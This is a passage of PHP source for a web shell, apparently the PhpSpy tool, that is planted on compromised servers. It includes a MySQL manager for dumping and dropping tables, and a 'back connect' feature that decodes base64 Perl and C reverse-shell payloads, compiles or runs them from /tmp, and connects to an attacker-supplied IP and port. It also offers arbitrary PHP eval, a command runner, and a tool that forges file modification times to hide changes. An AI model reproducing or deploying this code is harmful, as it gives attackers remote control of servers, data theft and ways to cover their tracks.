  678.     p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
  679.     makehide('dbhost');
  680.     makehide('dbport');
  681.     makehide('dbuser');
  682.     makehide('dbpass');
  683.     makehide('dbname');
  684.     makehide('charset');
  685.     makehide('doing');
  686.     makehide('action','sqlfile');
  687.     p('</form>');
  688. }
  689.  
  690. elseif ($action == 'sqladmin') {
  691.     !$dbhost && $dbhost = 'localhost';
  692.     !$dbuser && $dbuser = 'root';
  693.     !$dbport && $dbport = '3306';
  694.     $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
  695.     if(isset($dbhost)){
  696.         $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
  697.     }
  698.     if(isset($dbuser)) {
  699.         $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
  700.     }
  701.     if(isset($dbpass)) {
  702.         $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
  703.     }
  704.     if(isset($dbport)) {
  705.         $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
  706.     }
  707.     if(isset($dbname)) {
  708.         $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
  709.     }
  710.     if(isset($charset)) {
  711.         $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
  712.     }
  713.  
  714.     if ($doing == 'backupmysql' && $saveasfile) {
  715.         if (!$table) {
  716.             m('Please choose the table');
  717.         } else {
  718.             dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  719.             $table = array_flip($table);
  720.             $fp = @fopen($path,'w');
  721.             if ($fp) {
  722.                 $result = q('SHOW tables');
  723.                 if (!$result) p('<h2>'.mysql_error().'</h2>');
  724.                 $mysqldata = '';
  725.                 while ($currow = mysql_fetch_array($result)) {
  726.                     if (isset($table[$currow[0]])) {
  727.                         sqldumptable($currow[0], $fp);
  728.                     }
  729.                 }
  730.                 fclose($fp);
  731.                 $fileurl = str_replace(SA_ROOT,'',$path);
  732.                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
  733.                 mysql_close();
  734.             } else {
  735.                 m('Backup failed');
  736.             }
  737.         }
  738.     }
  739.     if ($insert && $insertsql) {
  740.         $keystr = $valstr = $tmp = '';
  741.         foreach($insertsql as $key => $val) {
  742.             if ($val) {
  743.                 $keystr .= $tmp.$key;
  744.                 $valstr .= $tmp."'".addslashes($val)."'";
  745.                 $tmp = ',';
  746.             }
  747.         }
  748.         if ($keystr && $valstr) {
  749.             dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  750.             m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
  751.         }
  752.     }
  753.     if ($update && $insertsql && $base64) {
  754.         $valstr = $tmp = '';
  755.         foreach($insertsql as $key => $val) {
  756.             $valstr .= $tmp.$key."='".addslashes($val)."'";
  757.             $tmp = ',';
  758.         }
  759.         if ($valstr) {
  760.             $where = base64_decode($base64);
  761.             dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  762.             m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
  763.         }
  764.     }
  765.     if ($doing == 'del' && $base64) {
  766.         $where = base64_decode($base64);
  767.         $delete_sql = "DELETE FROM $tablename WHERE $where";
  768.         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  769.         m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
  770.     }
  771.  
  772.     if ($tablename && $doing == 'drop') {
  773.         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  774.         if (q("DROP TABLE $tablename")) {
  775.             m('Drop table of success');
  776.             $tablename = '';
  777.         } else {
  778.             m(mysql_error());
  779.         }
  780.     }
  781.  
  782.     $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  783.  
  784.     formhead(array('title'=>'MYSQL Manager'));
  785.     makehide('action','sqladmin');
  786.     p('<p>');
  787.     p('DBHost:');
  788.     makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  789.     p(':');
  790.     makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  791.     p('DBUser:');
  792.     makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  793.     p('DBPass:');
  794.     makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  795.     p('DBCharset:');
  796.     makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  797.     makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
  798.     p('</p>');
  799.     formfoot();
  800. ?>
  801. <script type="text/javascript">
  802. function editrecord(action, base64, tablename){
  803.     if (action == 'del') {     
  804.         if (!confirm('Is or isn\'t deletion record?')) return;
  805.     }
  806.     $('recordlist').doing.value=action;
  807.     $('recordlist').base64.value=base64;
  808.     $('recordlist').tablename.value=tablename;
  809.     $('recordlist').submit();
  810. }
  811. function moddbname(dbname) {
  812.     if(!dbname) return;
  813.     $('setdbname').dbname.value=dbname;
  814.     $('setdbname').submit();
  815. }
  816. function settable(tablename,doing,page) {
  817.     if(!tablename) return;
  818.     if (doing) {
  819.         $('settable').doing.value=doing;
  820.     }
  821.     if (page) {
  822.         $('settable').page.value=page;
  823.     }
  824.     $('settable').tablename.value=tablename;
  825.     $('settable').submit();
  826. }
  827. </script>
  828. <?php
  829.     //²Ù×÷¼Ç¼
  830.     formhead(array('name'=>'recordlist'));
  831.     makehide('doing');
  832.     makehide('action','sqladmin');
  833.     makehide('base64');
  834.     makehide('tablename');
  835.     p($dbform);
  836.     formfoot();
  837.  
  838.     //Ñ¡¶¨Êý¾Ý¿â
  839.     formhead(array('name'=>'setdbname'));
  840.     makehide('action','sqladmin');
  841.     p($dbform);
  842.     if (!$dbname) {
  843.         makehide('dbname');
  844.     }
  845.     formfoot();
  846.  
  847.     //Ñ¡¶¨±í
  848.     formhead(array('name'=>'settable'));
  849.     makehide('action','sqladmin');
  850.     p($dbform);
  851.     makehide('tablename');
  852.     makehide('page',$page);
  853.     makehide('doing');
  854.     formfoot();
  855.  
  856.     $cachetables = array();
  857.     $pagenum = 30;
  858.     $page = intval($page);
  859.     if($page) {
  860.         $start_limit = ($page - 1) * $pagenum;
  861.     } else {
  862.         $start_limit = 0;
  863.         $page = 1;
  864.     }
  865.     if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
  866.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  867.         //»ñÈ¡Êý¾Ý¿âÐÅÏ¢
  868.         $mysqlver = mysql_get_server_info();
  869.         p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
  870.         $highver = $mysqlver > '4.1' ? 1 : 0;
  871.  
  872.         //»ñÈ¡Êý¾Ý¿â
  873.         $query = q("SHOW DATABASES");
  874.         $dbs = array();
  875.         $dbs[] = '-- Select a database --';
  876.         while($db = mysql_fetch_array($query)) {
  877.             $dbs[$db['Database']] = $db['Database'];
  878.         }
  879.         makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
  880.         $tabledb = array();
  881.         if ($dbname) {
  882.             p('<p>');
  883.             p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
  884.             if ($tablename) {
  885.                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
  886.             }
  887.             p('</p>');
  888.             mysql_select_db($dbname);
  889.  
  890.             $getnumsql = '';
  891.             $runquery = 0;
  892.             if ($sql_query) {
  893.                 $runquery = 1;
  894.             }
  895.             $allowedit = 0;
  896.             if ($tablename && !$sql_query) {
  897.                 $sql_query = "SELECT * FROM $tablename";
  898.                 $getnumsql = $sql_query;
  899.                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
  900.                 $allowedit = 1;
  901.             }
  902.             p('<form action="'.$self.'" method="POST">');
  903.             p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
  904.             makehide('tablename', $tablename);
  905.             makehide('action','sqladmin');
  906.             p($dbform);
  907.             p('</form>');
  908.             if ($tablename || ($runquery && $sql_query)) {
  909.                 if ($doing == 'structure') {
  910.                     $result = q("SHOW COLUMNS FROM $tablename");
  911.                     $rowdb = array();
  912.                     while($row = mysql_fetch_array($result)) {
  913.                         $rowdb[] = $row;
  914.                     }
  915.                     p('<table border="0" cellpadding="3" cellspacing="0">');
  916.                     p('<tr class="head">');
  917.                     p('<td>Field</td>');
  918.                     p('<td>Type</td>');
  919.                     p('<td>Null</td>');
  920.                     p('<td>Key</td>');
  921.                     p('<td>Default</td>');
  922.                     p('<td>Extra</td>');
  923.                     p('</tr>');
  924.                     foreach ($rowdb as $row) {
  925.                         $thisbg = bg();
  926.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  927.                         p('<td>'.$row['Field'].'</td>');
  928.                         p('<td>'.$row['Type'].'</td>');
  929.                         p('<td>'.$row['Null'].'&nbsp;</td>');
  930.                         p('<td>'.$row['Key'].'&nbsp;</td>');
  931.                         p('<td>'.$row['Default'].'&nbsp;</td>');
  932.                         p('<td>'.$row['Extra'].'&nbsp;</td>');
  933.                         p('</tr>');
  934.                     }
  935.                     tbfoot();
  936.                 } elseif ($doing == 'insert' || $doing == 'edit') {
  937.                     $result = q('SHOW COLUMNS FROM '.$tablename);
  938.                     while ($row = mysql_fetch_array($result)) {
  939.                         $rowdb[] = $row;
  940.                     }
  941.                     $rs = array();
  942.                     if ($doing == 'insert') {
  943.                         p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
  944.                     } else {
  945.                         p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
  946.                         $where = base64_decode($base64);
  947.                         $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
  948.                         $rs = mysql_fetch_array($result);
  949.                     }
  950.                     p('<form method="post" action="'.$self.'">');
  951.                     p($dbform);
  952.                     makehide('action','sqladmin');
  953.                     makehide('tablename',$tablename);
  954.                     p('<table border="0" cellpadding="3" cellspacing="0">');
  955.                     foreach ($rowdb as $row) {
  956.                         if ($rs[$row['Field']]) {
  957.                             $value = htmlspecialchars($rs[$row['Field']]);
  958.                         } else {
  959.                             $value = '';
  960.                         }
  961.                         $thisbg = bg();
  962.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  963.                         p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
  964.                     }
  965.                     if ($doing == 'insert') {
  966.                         p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
  967.                     } else {
  968.                         p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
  969.                         makehide('base64', $base64);
  970.                     }
  971.                     p('</table></form>');
  972.                 } else {
  973.                     $querys = @explode(';',$sql_query);
  974.                     foreach($querys as $num=>$query) {
  975.                         if ($query) {
  976.                             p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
  977.                             switch(qy($query))
  978.                             {
  979.                                 case 0:
  980.                                     p('<h2>Error : '.mysql_error().'</h2>');
  981.                                     break; 
  982.                                 case 1:
  983.                                     if (strtolower(substr($query,0,13)) == 'select * from') {
  984.                                         $allowedit = 1;
  985.                                     }
  986.                                     if ($getnumsql) {
  987.                                         $tatol = mysql_num_rows(q($getnumsql));
  988.                                         $multipage = multi($tatol, $pagenum, $page, $tablename);
  989.                                     }
  990.                                     if (!$tablename) {
  991.                                         $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
  992.                                         $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
  993.                                         preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
  994.                                         $tablename = $matches[1][0];
  995.                                     }
  996.                                     $result = q($query);
  997.                                     p($multipage);
  998.                                     p('<table border="0" cellpadding="3" cellspacing="0">');
  999.                                     p('<tr class="head">');
  1000.                                     if ($allowedit) p('<td>Action</td>');
  1001.                                     $fieldnum = @mysql_num_fields($result);
  1002.                                     for($i=0;$i<$fieldnum;$i++){
  1003.                                         $name = @mysql_field_name($result, $i);
  1004.                                         $type = @mysql_field_type($result, $i);
  1005.                                         $len = @mysql_field_len($result, $i);
  1006.                                         p("<td nowrap>$name<br><span>$type($len)</span></td>");
  1007.                                     }
  1008.                                     p('</tr>');
  1009.                                     while($mn = @mysql_fetch_assoc($result)){
  1010.                                         $thisbg = bg();
  1011.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  1012.                                         $where = $tmp = $b1 = '';
  1013.                                         foreach($mn as $key=>$inside){
  1014.                                             if ($inside) {
  1015.                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
  1016.                                                 $tmp = ' AND ';
  1017.                                             }
  1018.                                             $b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
  1019.                                         }
  1020.                                         $where = base64_encode($where);
  1021.                                         if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
  1022.                                         p($b1);
  1023.                                         p('</tr>');
  1024.                                         unset($b1);
  1025.                                     }
  1026.                                     tbfoot();
  1027.                                     p($multipage);
  1028.                                     break; 
  1029.                                 case 2:
  1030.                                     $ar = mysql_affected_rows();
  1031.                                     p('<h2>affected rows : <b>'.$ar.'</b></h2>');
  1032.                                     break;
  1033.                             }
  1034.                         }
  1035.                     }
  1036.                 }
  1037.             } else {
  1038.                 $query = q("SHOW TABLE STATUS");
  1039.                 $table_num = $table_rows = $data_size = 0;
  1040.                 $tabledb = array();
  1041.                 while($table = mysql_fetch_array($query)) {
  1042.                     $data_size = $data_size + $table['Data_length'];
  1043.                     $table_rows = $table_rows + $table['Rows'];
  1044.                     $table['Data_length'] = sizecount($table['Data_length']);
  1045.                     $table_num++;
  1046.                     $tabledb[] = $table;
  1047.                 }
  1048.                 $data_size = sizecount($data_size);
  1049.                 unset($table);
  1050.                 p('<table border="0" cellpadding="0" cellspacing="0">');
  1051.                 p('<form action="'.$self.'" method="POST">');
  1052.                 makehide('action','sqladmin');
  1053.                 p($dbform);
  1054.                 p('<tr class="head">');
  1055.                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
  1056.                 p('<td>Name</td>');
  1057.                 p('<td>Rows</td>');
  1058.                 p('<td>Data_length</td>');
  1059.                 p('<td>Create_time</td>');
  1060.                 p('<td>Update_time</td>');
  1061.                 if ($highver) {
  1062.                     p('<td>Engine</td>');
  1063.                     p('<td>Collation</td>');
  1064.                 }
  1065.                 p('</tr>');
  1066.                 foreach ($tabledb as $key => $table) {
  1067.                     $thisbg = bg();
  1068.                     p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  1069.                     p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
  1070.                     p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
  1071.                     p('<td>'.$table['Rows'].'</td>');
  1072.                     p('<td>'.$table['Data_length'].'</td>');
  1073.                     p('<td>'.$table['Create_time'].'</td>');
  1074.                     p('<td>'.$table['Update_time'].'</td>');
  1075.                     if ($highver) {
  1076.                         p('<td>'.$table['Engine'].'</td>');
  1077.                         p('<td>'.$table['Collation'].'</td>');
  1078.                     }
  1079.                     p('</tr>');
  1080.                 }
  1081.                 p('<tr class='.bg().'>');
  1082.                 p('<td>&nbsp;</td>');
  1083.                 p('<td>Total tables: '.$table_num.'</td>');
  1084.                 p('<td>'.$table_rows.'</td>');
  1085.                 p('<td>'.$data_size.'</td>');
  1086.                 p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
  1087.                 p('</tr>');
  1088.  
  1089.                 p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
  1090.                 makehide('doing','backupmysql');
  1091.                 formfoot();
  1092.                 p("</table>");
  1093.                 fr($query);
  1094.             }
  1095.         }
  1096.     }
  1097.     tbfoot();
  1098.     @mysql_close();
  1099. }//end sql backup
  1100.  
  1101.  
  1102. elseif ($action == 'backconnect') {
  1103.     !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
  1104.     !$yourport && $yourport = '12345';
  1105.     $usedb = array('perl'=>'perl','c'=>'c');
  1106.  
  1107.     $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
  1108.         "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
  1109.         "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
  1110.         "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
  1111.         "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
  1112.         "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
  1113.         "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1114.     $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
  1115.         "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
  1116.         "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
  1117.         "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
  1118.         "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
  1119.         "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
  1120.         "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
  1121.         "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  1122.  
  1123.     if ($start && $yourip && $yourport && $use){
  1124.         if ($use == 'perl') {
  1125.             cf('/tmp/angel_bc',$back_connect);
  1126.             $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
  1127.         } else {
  1128.             cf('/tmp/angel_bc.c',$back_connect_c);
  1129.             $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  1130.             @unlink('/tmp/angel_bc.c');
  1131.             $res = execute("/tmp/angel_bc $yourip $yourport &");
  1132.         }
  1133.         m("Now script try connect to $yourip port $yourport ...");
  1134.     }
  1135.  
  1136.     formhead(array('title'=>'Back Connect'));
  1137.     makehide('action','backconnect');
  1138.     p('<p>');
  1139.     p('Your IP:');
  1140.     makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
  1141.     p('Your Port:');
  1142.     makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
  1143.     p('Use:');
  1144.     makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
  1145.     makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
  1146.     p('</p>');
  1147.     formfoot();
  1148. }//end sql backup
  1149.  
  1150. elseif ($action == 'eval') {
  1151.     $phpcode = trim($phpcode);
  1152.     if($phpcode){
  1153.         if (!preg_match('#<\?#si', $phpcode)) {
  1154.             $phpcode = "<?php\n\n{$phpcode}\n\n?>";
  1155.         }
  1156.         eval("?".">$phpcode<?");
  1157.     }
  1158.     formhead(array('title'=>'Eval PHP Code'));
  1159.     makehide('action','eval');
  1160.     maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
  1161.     p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
  1162.     formfooter();
  1163. }//end eval
  1164.  
  1165. elseif ($action == 'editfile') {
  1166.     if(file_exists($opfile)) {
  1167.         $fp=@fopen($opfile,'r');
  1168.         $contents=@fread($fp, filesize($opfile));
  1169.         @fclose($fp);
  1170.         $contents=htmlspecialchars($contents);
  1171.     }
  1172.     formhead(array('title'=>'Create / Edit File'));
  1173.     makehide('action','file');
  1174.     makehide('dir',$nowpath);
  1175.     makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
  1176.     maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
  1177.     formfooter();
  1178. }//end editfile
  1179.  
  1180. elseif ($action == 'newtime') {
  1181.     $opfilemtime = @filemtime($opfile);
  1182.     //$time = strtotime("$year-$month-$day $hour:$minute:$second");
  1183.     $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
  1184.     formhead(array('title'=>'Clone file was last modified time'));
  1185.     makehide('action','file');
  1186.     makehide('dir',$nowpath);
  1187.     makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1188.     makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
  1189.     formfooter();
  1190.     formhead(array('title'=>'Set last modified'));
  1191.     makehide('action','file');
  1192.     makehide('dir',$nowpath);
  1193.     makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1194.     p('<p>Instead &raquo;');
  1195.     p('year:');
  1196.     makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
  1197.     p('month:');
  1198.     makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
  1199.     p('day:');
  1200.     makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
  1201.     p('hour:');
  1202.     makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
  1203.     p('minute:');
  1204.     makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
  1205.     p('second:');
  1206.     makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
  1207.     p('</p>');
  1208.     formfooter();
  1209. }//end newtime
  1210.  
  1211. elseif ($action == 'shell') {
  1212.     if (IS_WIN && IS_COM) {
  1213.         if($program && $parameter) {
  1214.             $shell= new COM('Shell.Application');
  1215.             $a = $shell->ShellExecute($program,$parameter);
  1216.             m('Program run has '.(!$a ? 'success' : 'fail'));
  1217.         }
  1218.         !$program && $program = 'c:\windows\system32\cmd.exe';
  1219.         !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
  1220.         formhead(array('title'=>'Execute Program'));
  1221.         makehide('action','shell');
  1222.         makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
  1223.         p('<p>');
  1224.         makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
  1225.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1226.         p('</p>');
  1227.         formfoot();
  1228.     }
  1229.     formhead(array('title'=>'Execute Command'));
  1230.     makehide('action','shell');
  1231.     if (IS_WIN && IS_COM) {
  1232.         $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
  1233.         makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
  1234.     }
  1235.     p('<p>');
  1236.     makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
  1237.     makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1238.     p('</p>');
  1239.     formfoot();
  1240.  
  1241.     if ($command) {
  1242.         p('<hr width="100%" noshade /><pre>');
  1243.         if ($execfunc=='wscript' && IS_WIN && IS_COM) {
  1244.             $wsh = new COM('WScript.shell');
  1245.             $exec = $wsh->exec('cmd.exe /c '.$command);
  1246.             $stdout = $exec->StdOut();
  1247.             $stroutput = $stdout->ReadAll();
  1248.             echo $stroutput;
  1249.         } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
  1250.             $descriptorspec = array(
  1251.                0 => array('pipe', 'r'),
  1252.                1 => array('pipe', 'w'),
  1253.                2 => array('pipe', 'w')
  1254.             );
  1255.             $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
  1256.             if (is_resource($process)) {
  1257.                 fwrite($pipes[0], $command."\r\n");
  1258.                 fwrite($pipes[0], "exit\r\n");
  1259.                 fclose($pipes[0]);
  1260.                 while (!feof($pipes[1])) {
  1261.                     echo fgets($pipes[1], 1024);
  1262.                 }
  1263.                 fclose($pipes[1]);
  1264.                 while (!feof($pipes[2])) {
  1265.                     echo fgets($pipes[2], 1024);
  1266.                 }
  1267.                 fclose($pipes[2]);
  1268.                 proc_close($process);
  1269.             }
  1270.         } else {
  1271.             echo(execute($command));
  1272.         }
  1273.         p('</pre>');
  1274.     }
  1275. }//end shell
  1276.  
  1277. elseif ($action == 'phpenv') {
  1278.     $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
  1279.     $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
  1280.     !$dis_func && $dis_func = 'No';
  1281.     $info = array(
  1282.         1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
  1283.         2 => array('Server Domain',$_SERVER['SERVER_NAME']),
  1284.         3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
  1285.         4 => array('Server OS',PHP_OS),
  1286.         5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
  1287.         6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
  1288.         7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
  1289.         8 => array('PHP run mode',strtoupper(php_sapi_name())),
  1290.         9 => array('The file path',__FILE__),
  1291.  
  1292.         10 => array('PHP Version',PHP_VERSION),
